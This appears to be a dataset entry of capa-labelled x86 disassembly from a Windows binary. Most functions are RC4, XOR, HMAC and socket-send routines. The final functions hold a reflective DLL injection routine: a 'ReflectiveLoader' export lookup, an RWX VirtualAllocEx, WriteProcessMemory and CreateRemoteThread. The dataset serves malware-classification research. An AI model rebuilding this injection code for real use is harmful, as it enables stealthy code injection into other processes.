joyce8/EMBER2024-capa huggingface dataset:
Function at 0x44b8b0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov eax, 0x28
call fcn.004ea940
mov eax, dword [0x54a800]
xor eax, esp
mov dword [esp + 0x24], eax
mov eax, dword [esp + 0x38]
mov ecx, dword [esp + 0x34]
push ebx
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0x44]
mov dword [esp + 8], eax
push ebp
push esi
mov esi, dword [eax]
push edi
mov edi, dword [esp + 0x4c]
movzx edx, byte [edi + 1]
mov dword [esp + 0x18], ecx
movzx ecx, byte [edi]
shl edx, 8
or ecx, edx
lea eax, [edi + 1]
movzx edx, byte [eax + 1]
mov dword [esp + 0x28], eax
inc eax
inc eax
shl edx, 0x10
or ecx, edx
movzx edx, byte [eax]
inc eax
movzx ebx, byte [eax + 1]
shl edx, 0x18
or ecx, edx
movzx edx, byte [eax]
inc eax
mov ebp, dword [esp + 0x40]
inc eax
shl ebx, 8
or edx, ebx
movzx ebx, byte [eax + 1]
movzx eax, byte [eax]
shl ebx, 8
or ebx, eax
mov eax, ecx
shr eax, 8
shl ebx, 0x10
or edx, ebx
mov byte [esp + 0x2d], al
mov eax, ecx
mov ebx, ecx
mov byte [esp + 0x2c], cl
shr eax, 0x10
shr ecx, 0x18
mov byte [esp + 0x2e], al
mov byte [esp + 0x2f], cl
mov ecx, edx
mov eax, edx
mov dword [esp + 0x20], edx
mov byte [esp + 0x30], dl
shr ecx, 8
shr eax, 0x10
shr edx, 0x18
cmp dword [esp + 0x44], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x1c], ebx
mov byte [esp + 0x31], cl
mov byte [esp + 0x32], al
mov byte [esp + 0x33], dl
je 0x44ba7a
dec dword [esp + 0x18]
test esi, esi
jne 0x44b9ea
mov ecx, dword [esp + 0x24]
push ecx
lea edx, [esp + 0x20]
push edx
call fcn.0044ae70
mov ebx, dword [esp + 0x24]
mov eax, ebx
shr eax, 8
mov ecx, ebx
shr ecx, 0x10
mov edx, ebx
shr edx, 0x18
mov byte [esp + 0x35], al
mov eax, dword [esp + 0x28]
mov byte [esp + 0x36], cl
mov byte [esp + 0x37], dl
mov ecx, eax
mov edx, eax
mov byte [esp + 0x38], al
shr ecx, 8
shr edx, 0x10
shr eax, 0x18
add esp, 8
inc dword [esp + 0x10]
mov byte [esp + 0x2c], bl
mov byte [esp + 0x31], cl
mov byte [esp + 0x32], dl
mov byte [esp + 0x33], al
mov cl, byte [esp + esi + 0x2c]
mov eax, dword [esp + 0x3c]
xor cl, byte [eax]
inc esi
mov byte [ebp], cl
inc eax
inc ebp
and esi, 7
cmp dword [esp + 0x18], 0
mov dword [esp + 0x3c], eax
jne 0x44b988
cmp dword [esp + 0x10], 0
je 0x44ba61
mov eax, dword [esp + 0x28]
mov byte [edi], bl
mov edx, ebx
shr edx, 8
mov byte [eax], dl
inc eax
mov ecx, ebx
shr ecx, 0x10
mov byte [eax], cl
mov ecx, dword [esp + 0x20]
inc eax
shr ebx, 0x18
mov byte [eax], bl
mov byte [eax + 1], cl
inc eax
inc eax
mov edx, ecx
shr edx, 8
mov byte [eax], dl
inc eax
mov edx, ecx
shr edx, 0x10
mov byte [eax], dl
shr ecx, 0x18
mov byte [eax + 1], cl
mov eax, dword [esp + 0x14]
pop edi
mov dword [eax], esi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x24]
xor ecx, esp
call fcn.004cd571
add esp, 0x28
ret
mov ecx, dword [esp + 0x14]
pop edi
mov dword [ecx], esi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x24]
xor ecx, esp
call fcn.004cd571
add esp, 0x28
ret
mov edx, dword [esp + 0x14]
mov ecx, dword [esp + 0x34]
pop edi
mov dword [edx], esi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.004cd571
add esp, 0x28
ret
Function at 0x44baa0
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
mov eax, dword [esp + 8]
cmp eax, 0x80
push ebx
push esi
push edi
mov edi, dword [esp + 0x10]
mov byte [edi], 0
jle 0x44baba
mov eax, 0x80
mov ecx, dword [esp + 0x1c]
test ecx, ecx
jle 0x44baca
cmp ecx, 0x400
jle 0x44bacf
mov ecx, 0x400
test eax, eax
jle 0x44baec
mov esi, dword [esp + 0x18]
push ebp
mov edx, edi
sub esi, edi
mov ebp, eax
mov edi, edi
mov bl, byte [esi + edx]
mov byte [edx], bl
inc edx
sub ebp, 1
jne 0x44bae0
pop ebp
cmp eax, 0x80
movzx edx, byte [edi + eax - 1]
jge 0x44bb1e
mov esi, edi
sub esi, eax
lea esp, [esp]
movzx ebx, byte [esi + eax]
add ebx, edx
and ebx, 0xff
movzx edx, byte [ebx + 0x5587f0]
mov byte [eax + edi], dl
inc eax
cmp eax, 0x80
jl 0x44bb00
lea edx, [ecx + 7]
neg ecx
sar edx, 3
mov eax, 0x80
and ecx, 7
sub eax, edx
lea esi, [eax + edi]
mov ebx, 0xff
sar ebx, cl
movzx ecx, byte [esi]
and ebx, ecx
movzx ecx, byte [ebx + 0x5587f0]
mov byte [esi], cl
test eax, eax
je 0x44bb66
lea esp, [esp]
movzx ebx, byte [esi + edx - 1]
dec esi
xor ebx, ecx
movzx ecx, byte [ebx + 0x5587f0]
dec eax
mov byte [esi], cl
test eax, eax
jne 0x44bb50
lea ecx, [edi + 0xfc]
lea eax, [edi + 0x7e]
mov edx, 0x40
movzx esi, byte [eax + 1]
movzx edi, byte [eax]
shl esi, 8
or esi, edi
and esi, 0xffff
mov dword [ecx], esi
sub ecx, 4
sub eax, 2
sub edx, 1
jne 0x44bb74
pop edi
pop esi
pop ebx
ret
Function at 0x44c9a0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov eax, 0x28
call fcn.004ea940
mov eax, dword [0x54a800]
xor eax, esp
mov dword [esp + 0x24], eax
mov eax, dword [esp + 0x38]
mov ecx, dword [esp + 0x34]
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x40]
mov dword [esp + 4], eax
push ebx
push ebp
push esi
mov esi, dword [eax]
push edi
mov edi, dword [esp + 0x4c]
movzx edx, byte [edi + 1]
mov dword [esp + 0x18], ecx
movzx ecx, byte [edi]
lea eax, [edi + 1]
mov dword [esp + 0x28], eax
inc eax
inc eax
shl edx, 0x10
shl ecx, 0x18
or ecx, edx
movzx edx, byte [eax - 1]
inc eax
movzx ebx, byte [eax + 1]
shl edx, 8
inc eax
or ecx, edx
movzx edx, byte [eax - 2]
or ecx, edx
movzx edx, byte [eax - 1]
inc eax
shl ebx, 0x10
shl edx, 0x18
or edx, ebx
movzx ebx, byte [eax]
movzx eax, byte [eax + 1]
shl ebx, 8
or ebx, eax
mov ebp, dword [esp + 0x40]
mov eax, ecx
shr eax, 0x18
mov byte [esp + 0x2c], al
mov eax, ecx
shr eax, 0x10
mov byte [esp + 0x2d], al
or edx, ebx
mov eax, ecx
shr eax, 8
mov byte [esp + 0x2e], al
mov eax, edx
shr eax, 0x18
mov byte [esp + 0x30], al
mov eax, edx
shr eax, 0x10
mov byte [esp + 0x31], al
mov eax, edx
shr eax, 8
cmp dword [esp + 0x44], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x20], edx
mov byte [esp + 0x2f], cl
mov byte [esp + 0x32], al
mov byte [esp + 0x33], dl
je 0x44cb6c
mov ebx, dword [esp + 0x3c]
dec dword [esp + 0x18]
test esi, esi
jne 0x44cae4
mov ecx, dword [esp + 0x24]
push ecx
lea edx, [esp + 0x20]
push edx
call fcn.0044bc50
mov ecx, dword [esp + 0x24]
mov eax, ecx
shr eax, 0x18
mov byte [esp + 0x34], al
mov edx, ecx
shr edx, 0x10
mov eax, ecx
shr eax, 8
mov byte [esp + 0x36], al
mov byte [esp + 0x35], dl
mov edx, dword [esp + 0x28]
mov eax, edx
shr eax, 0x18
mov byte [esp + 0x38], al
mov eax, edx
shr eax, 0x10
mov byte [esp + 0x39], al
mov eax, edx
shr eax, 8
add esp, 8
inc dword [esp + 0x10]
mov byte [esp + 0x2f], cl
mov byte [esp + 0x32], al
mov byte [esp + 0x33], dl
mov al, byte [esp + esi + 0x2c]
xor al, byte [ebx]
inc esi
mov byte [ebp], al
inc ebp
inc ebx
and esi, 7
cmp dword [esp + 0x18], 0
jne 0x44ca80
cmp dword [esp + 0x10], 0
je 0x44cb53
mov eax, ecx
shr eax, 0x18
mov byte [edi], al
mov eax, dword [esp + 0x28]
mov ebx, ecx
shr ebx, 0x10
mov byte [eax], bl
mov ebx, ecx
inc eax
shr ebx, 8
mov byte [eax], bl
mov byte [eax + 1], cl
inc eax
inc eax
mov ecx, edx
shr ecx, 0x18
mov byte [eax], cl
mov ecx, edx
inc eax
shr ecx, 0x10
mov byte [eax], cl
inc eax
mov ecx, edx
shr ecx, 8
mov byte [eax], cl
mov byte [eax + 1], dl
mov edx, dword [esp + 0x14]
pop edi
mov dword [edx], esi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x24]
xor ecx, esp
call fcn.004cd571
add esp, 0x28
ret
mov eax, dword [esp + 0x14]
pop edi
mov dword [eax], esi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x24]
xor ecx, esp
call fcn.004cd571
add esp, 0x28
ret
mov ecx, dword [esp + 0x14]
pop edi
mov dword [ecx], esi
mov ecx, dword [esp + 0x30]
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.004cd571
add esp, 0x28
ret
Function at 0x44d4c0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov eax, 0x28
call fcn.004ea940
mov eax, dword [0x54a800]
xor eax, esp
mov dword [esp + 0x24], eax
mov eax, dword [esp + 0x38]
mov ecx, dword [esp + 0x34]
push ebx
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0x44]
mov dword [esp + 8], eax
push ebp
push esi
mov esi, dword [eax]
push edi
mov edi, dword [esp + 0x4c]
movzx edx, byte [edi + 1]
mov dword [esp + 0x18], ecx
movzx ecx, byte [edi]
shl edx, 8
or ecx, edx
lea eax, [edi + 1]
movzx edx, byte [eax + 1]
mov dword [esp + 0x28], eax
inc eax
inc eax
shl edx, 0x10
or ecx, edx
movzx edx, byte [eax]
inc eax
movzx ebx, byte [eax + 1]
shl edx, 0x18
or ecx, edx
movzx edx, byte [eax]
inc eax
mov ebp, dword [esp + 0x40]
inc eax
shl ebx, 8
or edx, ebx
movzx ebx, byte [eax + 1]
movzx eax, byte [eax]
shl ebx, 8
or ebx, eax
mov eax, ecx
shr eax, 8
shl ebx, 0x10
or edx, ebx
mov byte [esp + 0x2d], al
mov eax, ecx
mov ebx, ecx
mov byte [esp + 0x2c], cl
shr eax, 0x10
shr ecx, 0x18
mov byte [esp + 0x2e], al
mov byte [esp + 0x2f], cl
mov ecx, edx
mov eax, edx
mov dword [esp + 0x20], edx
mov byte [esp + 0x30], dl
shr ecx, 8
shr eax, 0x10
shr edx, 0x18
cmp dword [esp + 0x44], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x1c], ebx
mov byte [esp + 0x31], cl
mov byte [esp + 0x32], al
mov byte [esp + 0x33], dl
je 0x44d690
dec dword [esp + 0x18]
test esi, esi
jne 0x44d5fc
mov ecx, dword [esp + 0x24]
push 1
push ecx
lea edx, [esp + 0x24]
push edx
call fcn.00410da0
mov ebx, dword [esp + 0x28]
mov eax, ebx
shr eax, 8
mov ecx, ebx
shr ecx, 0x10
mov edx, ebx
shr edx, 0x18
mov byte [esp + 0x39], al
mov eax, dword [esp + 0x2c]
mov byte [esp + 0x3a], cl
mov byte [esp + 0x3b], dl
mov ecx, eax
mov edx, eax
mov byte [esp + 0x3c], al
shr ecx, 8
shr edx, 0x10
shr eax, 0x18
add esp, 0xc
inc dword [esp + 0x10]
mov byte [esp + 0x2c], bl
mov byte [esp + 0x31], cl
mov byte [esp + 0x32], dl
mov byte [esp + 0x33], al
mov cl, byte [esp + esi + 0x2c]
mov eax, dword [esp + 0x3c]
xor cl, byte [eax]
inc esi
mov byte [ebp], cl
inc eax
inc ebp
and esi, 7
cmp dword [esp + 0x18], 0
mov dword [esp + 0x3c], eax
jne 0x44d598
cmp dword [esp + 0x10], 0
je 0x44d677
mov eax, dword [esp + 0x28]
mov byte [edi], bl
mov edx, ebx
shr edx, 8
mov byte [eax], dl
inc eax
mov ecx, ebx
shr ecx, 0x10
mov byte [eax], cl
mov ecx, dword [esp + 0x20]
inc eax
shr ebx, 0x18
mov byte [eax], bl
mov byte [eax + 1], cl
inc eax
inc eax
mov edx, ecx
shr edx, 8
mov byte [eax], dl
inc eax
mov edx, ecx
shr edx, 0x10
mov byte [eax], dl
shr ecx, 0x18
mov byte [eax + 1], cl
mov eax, dword [esp + 0x14]
pop edi
mov dword [eax], esi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x24]
xor ecx, esp
call fcn.004cd571
add esp, 0x28
ret
mov ecx, dword [esp + 0x14]
pop edi
mov dword [ecx], esi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x24]
xor ecx, esp
call fcn.004cd571
add esp, 0x28
ret
mov edx, dword [esp + 0x14]
mov ecx, dword [esp + 0x34]
pop edi
mov dword [edx], esi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.004cd571
add esp, 0x28
ret
Function at 0x4532a0
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 8]
mov ecx, dword [eax + 4]
push ebx
mov ebx, dword [esp + 0x10]
cmp ecx, dword [ebx + 4]
push esi
push edi
jge 0x4532b9
mov edi, ebx
mov ebx, eax
jmp 0x4532bb
mov edi, eax
mov eax, dword [edi + 4]
mov esi, dword [esp + 0x10]
cmp eax, dword [esi + 8]
jle 0x4532d1
push eax
push esi
call fcn.00405260
add esp, 8
xor eax, eax
cmp dword [ebx + 4], eax
jle 0x4532ed
mov edx, dword [edi]
mov ecx, dword [ebx]
mov edx, dword [edx + eax*4]
xor edx, dword [ecx + eax*4]
mov ecx, dword [esi]
mov dword [ecx + eax*4], edx
inc eax
cmp eax, dword [ebx + 4]
jl 0x4532d8
cmp eax, dword [edi + 4]
jge 0x453302
mov edx, dword [edi]
mov edx, dword [edx + eax*4]
mov ecx, dword [esi]
mov dword [ecx + eax*4], edx
inc eax
cmp eax, dword [edi + 4]
jl 0x4532f2
mov edi, dword [edi + 4]
mov dword [esi + 4], edi
test edi, edi
jle 0x453326
mov eax, dword [esi]
lea eax, [eax + edi*4 - 4]
or ecx, 0xffffffff
mov edx, dword [eax]
sub eax, 4
test edx, edx
jne 0x453326
add dword [esi + 4], ecx
cmp dword [esi + 4], edx
jg 0x453315
pop edi
pop esi
mov eax, 1
pop ebx
ret
Function at 0x455c50
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
mov eax, 0x8c
call fcn.004ea940
mov eax, dword [0x54a800]
xor eax, esp
mov dword [esp + 0x88], eax
mov eax, dword [esp + 0xa0]
mov ecx, dword [esp + 0x94]
push ebx
mov ebx, dword [esp + 0xa0]
push ebp
push esi
mov esi, dword [esp + 0x9c]
mov dword [esp + 0xc], eax
xor eax, eax
push edi
mov dword [esp + 0x14], ecx
test ebx, ebx
je 0x455c9f
mov eax, 1
mov dword [esi], ebx
jmp 0x455ca1
mov ebx, dword [esi]
test ecx, ecx
je 0x455d68
push ebx
call fcn.004010e0
mov edi, eax
add esp, 4
cmp edi, 0x80
jle 0x455cd0
push str.j____int_sizeof_ctx__key_
push 0x54
push str..cryptohmachmac.c
call fcn.00402d00
add esp, 0xc
mov ebp, dword [esp + 0xa8]
cmp edi, ebp
jge 0x455d09
mov ecx, dword [esp + 0x10]
push ecx
lea edi, [esi + 4]
push ebx
push edi
call fcn.0040cc70
mov edx, dword [esp + 0x20]
push ebp
push edx
push edi
call fcn.0040cd00
lea ebp, [esi + 0x34]
push ebp
lea eax, [esi + 0x38]
push eax
push edi
call fcn.0040cd10
add esp, 0x24
jmp 0x455d44
cmp ebp, 0x80
jbe 0x455d25
push str.len_0__len__int_sizeof_ctx__key_
push 0x5e
push str..cryptohmachmac.c
call fcn.00402d00
add esp, 0xc
mov ecx, dword [esp + 0x14]
push ebp
push ecx
lea edx, [esi + 0x38]
push edx
call fcn.004d0350
mov eax, dword [esp + 0xb4]
lea ebp, [esi + 0x34]
add esp, 0xc
mov dword [ebp], eax
mov ebp, dword [ebp]
cmp ebp, 0x80
je 0x455d6c
mov ecx, 0x80
sub ecx, ebp
push ecx
lea edx, [esi + ebp + 0x38]
push 0
push edx
call fcn.004d36e0
add esp, 0xc
jmp 0x455d6c
test eax, eax
je 0x455de3
xor eax, eax
mov edi, edi
mov cl, byte [esi + eax + 0x38]
xor cl, 0x36
mov byte [esp + eax + 0x18], cl
inc eax
cmp eax, 0x80
jl 0x455d70
mov ebp, dword [esp + 0x10]
push ebp
lea edi, [esi + 0x14]
push ebx
push edi
call fcn.0040cc70
push ebx
call fcn.004010e0
push eax
lea edx, [esp + 0x2c]
push edx
push edi
call fcn.0040cd00
add esp, 0x1c
xor eax, eax
lea esp, [esp]
mov cl, byte [esi + eax + 0x38]
xor cl, 0x5c
mov byte [esp + eax + 0x18], cl
inc eax
cmp eax, 0x80
jl 0x455db0
push ebp
lea edi, [esi + 0x24]
push ebx
push edi
call fcn.0040cc70
push ebx
call fcn.004010e0
push eax
lea edx, [esp + 0x2c]
push edx
push edi
call fcn.0040cd00
add esp, 0x1c
lea eax, [esi + 0x14]
push eax
add esi, 4
push esi
call fcn.0040ce00
mov ecx, dword [esp + 0xa0]
add esp, 8
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.004cd571
add esp, 0x8c
ret
Function at 0x465db0
Capabilities:
Encode data using xor

Disassembly:
mov eax, 4
call fcn.004ea940
push ebp
mov ebp, dword [esp + 0x1c]
push esi
push edi
mov edi, edx
mov eax, ecx
cdq
sub eax, edx
mov esi, eax
and ecx, 1
sar esi, 1
lea eax, [esi + edi]
add esi, ecx
mov ecx, dword [esp + 0x20]
push ebx
push ecx
mov ecx, dword [esp + 0x1c]
push esi
push edi
mov edi, dword [esp + 0x2c]
mov edx, ebp
mov dword [esp + 0x1c], eax
call fcn.00465b50
mov edx, dword [esp + 0x30]
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x28]
push ebx
push edx
push esi
mov esi, dword [esp + 0x44]
push eax
mov edx, esi
call fcn.00465b50
add esp, 0x20
test ebx, ebx
jle 0x465e2b
mov ecx, esi
mov eax, ebp
sub ecx, ebp
mov esi, ebx
lea esp, [esp]
mov dl, byte [ecx + eax]
xor byte [eax], dl
inc eax
sub esi, 1
jne 0x465e20
pop edi
pop esi
pop ebp
pop ecx
ret
Function at 0x466df0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov eax, 0x54
call fcn.004ea940
mov eax, dword [0x54a800]
xor eax, esp
mov dword [esp + 0x50], eax
mov eax, dword [esp + 0x58]
push ebx
push ebp
mov ebp, dword [esp + 0x64]
push edi
lea ecx, [esp + 0x14]
push ecx
mov dword [esp + 0x10], eax
mov byte [esp + 0x14], 0x41
xor edi, edi
call fcn.0040cb90
lea edx, [esp + 0x18]
push 8
push edx
call fcn.004010f0
lea eax, [esp + 0x30]
push eax
call fcn.0040cb90
add esp, 0x10
xor ebx, ebx
test ebp, ebp
jg 0x466e84
lea eax, [esp + 0x38]
push 0x14
push eax
call fcn.00408e00
lea ecx, [esp + 0x1c]
push ecx
call fcn.0040cd90
lea edx, [esp + 0x30]
push edx
call fcn.0040cd90
add esp, 0x10
pop edi
pop ebp
mov eax, 1
pop ebx
mov ecx, dword [esp + 0x50]
xor ecx, esp
call fcn.004cd571
add esp, 0x54
ret
mov edi, dword [esp + 0x34]
inc edi
mov dword [esp + 0x34], edi
cmp edi, 0x10
ja 0x466fbb
test edi, edi
jbe 0x466ea9
mov ecx, dword [esp + 0x10]
push edi
push ecx
lea edx, [esp + 0x54]
push edx
call fcn.004d36e0
add esp, 0xc
inc byte [esp + 0x10]
push 0
call fcn.00424b80
push eax
lea eax, [esp + 0x2c]
push eax
call fcn.0040cc70
push edi
lea ecx, [esp + 0x5c]
push ecx
lea edx, [esp + 0x38]
push edx
call fcn.0040cd00
mov eax, dword [esi + 0xbc]
mov ecx, dword [eax + 0x10]
push ecx
add eax, 0x14
push eax
lea edx, [esp + 0x44]
push edx
call fcn.0040cd00
mov eax, dword [esi + 0x58]
push 0x20
add eax, 0x98
push eax
lea ecx, [esp + 0x50]
push ecx
call fcn.0040cd00
mov edx, dword [esi + 0x58]
push 0x20
add edx, 0xb8
push edx
lea eax, [esp + 0x5c]
push eax
call fcn.0040cd00
push 0
lea ecx, [esp + 0x78]
push ecx
lea edx, [esp + 0x68]
push edx
call fcn.0040cd10
add esp, 0x48
push 0
call fcn.00402880
push eax
lea eax, [esp + 0x1c]
push eax
call fcn.0040cc70
mov eax, dword [esi + 0xbc]
mov ecx, dword [eax + 0x10]
push ecx
add eax, 0x14
push eax
lea edx, [esp + 0x28]
push edx
call fcn.0040cd00
push 0x14
lea eax, [esp + 0x54]
push eax
lea ecx, [esp + 0x34]
push ecx
call fcn.0040cd00
add esp, 0x24
lea edi, [ebx + 0x10]
cmp edi, ebp
push 0
jle 0x466f95
lea edx, [esp + 0x3c]
push edx
lea eax, [esp + 0x1c]
push eax
call fcn.0040cd10
mov eax, dword [esp + 0x18]
mov ecx, ebp
sub ecx, ebx
push ecx
lea edx, [esp + 0x48]
push edx
push eax
call fcn.004d0350
add esp, 0x18
jmp 0x466fa7
mov ecx, dword [esp + 0x10]
push ecx
lea edx, [esp + 0x1c]
push edx
call fcn.0040cd10
add esp, 0xc
add dword [esp + 0xc], 0x10
mov ebx, edi
cmp ebx, ebp
jl 0x466e80
jmp 0x466e44
push 0x9d
push str.._ssl_s3_enc.c
push 0x44
push 0xee
push 0x14
call fcn.00401ae0
mov ecx, dword [esp + 0x70]
add esp, 0x14
pop edi
pop ebp
pop ebx
xor ecx, esp
xor eax, eax
call fcn.004cd571
add esp, 0x54
ret
Function at 0x468040
Capabilities:
Send data
Send data on socket

Disassembly:
push esi
push edi
push 0
call sub.WS2_32.dll_WSASetLastError
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x10]
mov edi, dword [esp + 0xc]
mov edx, dword [edi + 0x1c]
push 0
push eax
push ecx
push edx
call sub.WS2_32.dll_send
push 0xf
push edi
mov esi, eax
call fcn.00404610
add esp, 8
test esi, esi
jg 0x46809b
je 0x46807a
cmp esi, 0xffffffff
jne 0x46809b
call sub.WS2_32.dll_WSAGetLastError
cmp eax, 4
je 0x468090
cmp eax, 0xb
je 0x468090
cmp eax, 0x2733
jne 0x46809b
push 0xa
push edi
call fcn.00404630
add esp, 8
pop edi
mov eax, esi
pop esi
ret
Function at 0x474fc0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4f9caa
mov eax, dword fs:[0]
push eax
sub esp, 0x18
mov eax, dword [0x54a800]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov edi, dword [ebp + 8]
push 0
mov dword [ebp - 0x18], esi
call fcn.0049fe41
mov dword [ebp - 4], 0
mov dword [esi + 4], 0
mov byte [esi + 8], 0
mov dword [esi + 0xc], 0
mov byte [esi + 0x10], 0
xor eax, eax
mov dword [esi + 0x14], 0
mov word [esi + 0x18], ax
mov dword [esi + 0x1c], eax
mov word [esi + 0x20], ax
mov dword [esi + 0x24], eax
mov byte [esi + 0x28], al
mov dword [esi + 0x2c], eax
mov byte [esi + 0x30], al
mov byte [ebp - 4], 6
test edi, edi
jne 0x475066
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], str.bad_locale_name
push eax
lea ecx, [ebp - 0x24]
call fcn.004ce144
push 0x548550
lea eax, [ebp - 0x24]
mov dword [ebp - 0x24], vtable.std::runtime_error.0
push eax
call fcn.004d0a2b
push edi
push esi
call fcn.0049fd06
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004cd571
mov esp, ebp
pop ebp
ret 4

Function at 0x475ce0
Capabilities:
Get process heap force flags

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x4f9d78
mov eax, dword fs:[0]
push eax
sub esp, 0x20
push esi
mov eax, dword [0x54a800]
xor eax, esp
push eax
lea eax, [esp + 0x28]
mov dword fs:[0], eax
mov esi, ecx
sub esp, 0x18
mov ecx, esp
push 0xffffffffffffffff
push 0
push dword [ebp + 0x10]
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
mov byte [ecx], 0
call fcn.00475f50
push dword [ebp + 0xc]
lea eax, [esp + 0x28]
push dword [ebp + 8]
push eax
call fcn.00475be0
add esp, 0x24
mov dword [esp + 0x30], 0
cmp dword [eax + 0x14], 0x10
jb 0x475d51
mov eax, dword [eax]
mov dword [esp + 8], eax
mov ecx, esi
lea eax, [esp + 8]
push eax
call fcn.004ce144
cmp dword [esp + 0x20], 0x10
mov dword [esi], vtable.std::runtime_error.0
jb 0x475d7a
push dword [esp + 0xc]
call fcn.004cd56c
add esp, 4
mov eax, dword [ebp + 8]
mov dword [esi + 0xc], eax
mov eax, dword [ebp + 0xc]
mov dword [esi + 0x10], eax
mov eax, esi
mov dword [esi], vtable.std::_System_error.0
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret 0xc
Function at 0x476ae0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov edx, 0x10b
push edi
mov edi, ecx
mov ecx, dword [edi + 0x3c]
movzx eax, word [ecx + edi + 0x18]
cmp ax, dx
je 0x476b07
mov ecx, 0x20b
xor eax, eax
pop edi
mov esp, ebp
pop ebp
ret
mov ecx, dword [ecx + edi + 0x78]
mov edx, edi
push ebx
push esi
call fcn.00476a70
mov ecx, dword [edi + eax + 0x20]
mov edx, edi
lea ebx, [edi + eax]
mov dword [ebp - 8], ebx
call fcn.00476a70
mov ecx, dword [ebx + 0x24]
mov edx, edi
lea esi, [edi + eax]
call fcn.00476a70
mov ebx, dword [ebx + 0x18]
lea ecx, [edi + eax]
mov dword [ebp - 4], ecx
test ebx, ebx
je 0x476b69
nop
mov ecx, dword [esi]
mov edx, edi
dec ebx
call fcn.00476a70
add eax, edi
push str.ReflectiveLoader
push eax
call fcn.004ce460
add esp, 8
test eax, eax
jne 0x476b72
add dword [ebp - 4], 2
add esi, 4
test ebx, ebx
jne 0x476b40
pop esi
pop ebx
xor eax, eax
pop edi
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 8]
mov edx, edi
mov ecx, dword [ecx + 0x1c]
call fcn.00476a70
mov ecx, dword [ebp - 4]
add eax, edi
mov edx, edi
movzx ecx, word [ecx]
mov ecx, dword [eax + ecx*4]
call fcn.00476a70
pop esi
pop ebx
pop edi
mov esp, ebp
pop ebp
ret

Function at 0x476ba0
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x53fa18
push 0x4d7070
mov eax, dword fs:[0]
push eax
sub esp, 0x20
mov eax, dword [0x54a800]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov ebx, edx
mov edi, ecx
mov eax, dword [ebp + 8]
mov dword [ebp - 0x24], eax
xor esi, esi
mov dword [ebp - 0x20], esi
mov dword [ebp - 4], esi
test edi, edi
je 0x476c58
test ebx, ebx
je 0x476c58
test eax, eax
je 0x476c58
mov ecx, ebx
call fcn.00476ae0
mov dword [ebp - 0x28], eax
test eax, eax
je 0x476c58
push 0x40
push 0x3000
push dword [ebp - 0x24]
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x2c], eax
test eax, eax
je 0x476c58
push esi
push dword [ebp - 0x24]
push ebx
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x476c58
mov eax, dword [ebp - 0x2c]
add eax, dword [ebp - 0x28]
lea ecx, [ebp - 0x20]
push ecx
push esi
push esi
push eax
push 0x100000
push esi
push edi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov esi, eax
jmp 0x476c55
mov dword [ebp - 0x30], esi
mov dword [ebp - 4], 0xfffffffe
mov eax, esi
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.004cd571
mov esp, ebp
pop ebp
ret 8